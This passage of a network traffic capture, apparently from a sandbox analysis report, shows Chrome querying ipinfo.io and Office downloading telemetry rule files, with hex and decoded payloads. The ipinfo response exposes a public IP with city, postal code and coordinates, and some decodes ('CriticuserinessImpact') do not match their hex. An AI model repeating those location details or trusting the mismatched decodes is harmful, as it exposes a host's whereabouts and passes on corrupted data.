d1 78 03 a0 f8 6a 00 de ed 05 8d 2b 85 e9 b1 34 c8 a9 24 70 22 8e 83 73 e4 d3 08 06 a5 3a 49 e8 82 95 21 7c 0d Data Ascii: vl{^6]7d._6q#d!0I1e)O@2U*l3E04R /4p:L,,;U;)y@gHcIQd+;e_Y0oB{Yc n^?bR@_I!6Sp+t)o3]LA Hxj+4$p"s:I!\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.12	49734	34.117.59.81	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:58 UTC	377	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:59 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 325 content-type: application/json; charset=utf-8 date: Thu, 13 Mar 2025 09:07:59 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-13 09:07:59 UTC	325	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 37 36 2e 31 30 37 2e 35 33 2e 31 34 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 63 2d 37 36 2d 31 30 37 2d 35 33 2d 31 34 33 2e 68 73 64 31 2e 6c 61 2e 63 6f 6d 63 61 73 74 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4d 6f 6e 72 6f 65 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4c 6f 75 69 73 69 61 6e 61 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 33 32 2e 35 30 39 33 2c 2d 39 32 2e 31 31 39 33 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 37 39 32 32 20 43 6f 6d 63 61 73 74 20 43 61 62 6c 65 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 37 31 32 30 37 22 2c 0a 20 20 22 74 69 6d 65 7a Data Ascii: { "ip": "76.107.53.143", "hostname": "c-76-107-53-143.hsd1.la.comcast.net", "city": "Monroe", "region": "Louisiana", "country": "US", "loc": "32.5093,-92.1193", "org": "AS7922 Comcast Cable Communications, LLC", "postal": "71207", "timez

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.12	49735	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:06 UTC	202	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:07 UTC	472	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:07 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 12 Mar 2025 22:11:57 GMT ETag: "0x8DD61B2E7CE7B95" x-ms-request-id: c287f5e2-d01e-0049-38f7-93e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090806Z-16c75594899zcltzhC1MEM48qn000000062g000000000wt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:07 UTC	15912	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticuserinessImpact" S="70" DL="A" DCa="PSP PSU"
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a Data Ascii: " /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e Data Ascii: 1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a Data Ascii: > </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f Data Ascii: "Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerso
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f Data Ascii: > </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2025-03-13 09:08:07 UTC	16384	IN	Data Raw: 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 Data Ascii: tus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.12	49736	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:10 UTC	199	OUT	GET /rules/rule702100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:10 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:10 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE7DDEC0" x-ms-request-id: c733ed1a-001e-0046-3df7-93da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090810Z-16c75594899f6qjphC1MEMpr5c0000000c4g00000000192x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:10 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 43 6f 61 75 74 68 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 6c 43 6f 61 75 74 68 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Coauth" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExcelCoauth" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.12	49740	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:10 UTC	199	OUT	GET /rules/rule700100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:10 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE9BA0663" x-ms-request-id: e374899e-e01e-001f-54f7-931633000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090810Z-16c75594899cd7hvhC1MEMapks000000099g000000001a1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExcel" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.12	49739	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:10 UTC	199	OUT	GET /rules/rule700101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:10 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BED8AA404" x-ms-request-id: ef04f6f8-301e-0033-6ff7-93fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090810Z-16c75594899kql76hC1MEM0bv800000008m00000000027s3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExce

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.12	49737	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:10 UTC	199	OUT	GET /rules/rule702101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:10 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:10 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7F89AC4" x-ms-request-id: 5e896850-501e-0064-24f7-931f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090810Z-16c75594899kfxz8hC1MEMp6tc000000093g000000001c77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:10 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 43 6f 61 75 74 68 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Coauth.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.12	49738	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:10 UTC	199	OUT	GET /rules/rule703050v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:10 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:10 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE9CC7A3E" x-ms-request-id: 4938c950-a01e-0098-5bad-918556000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090810Z-16c75594899ppct7hC1MEMvyrs0000000aq0000000000282 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
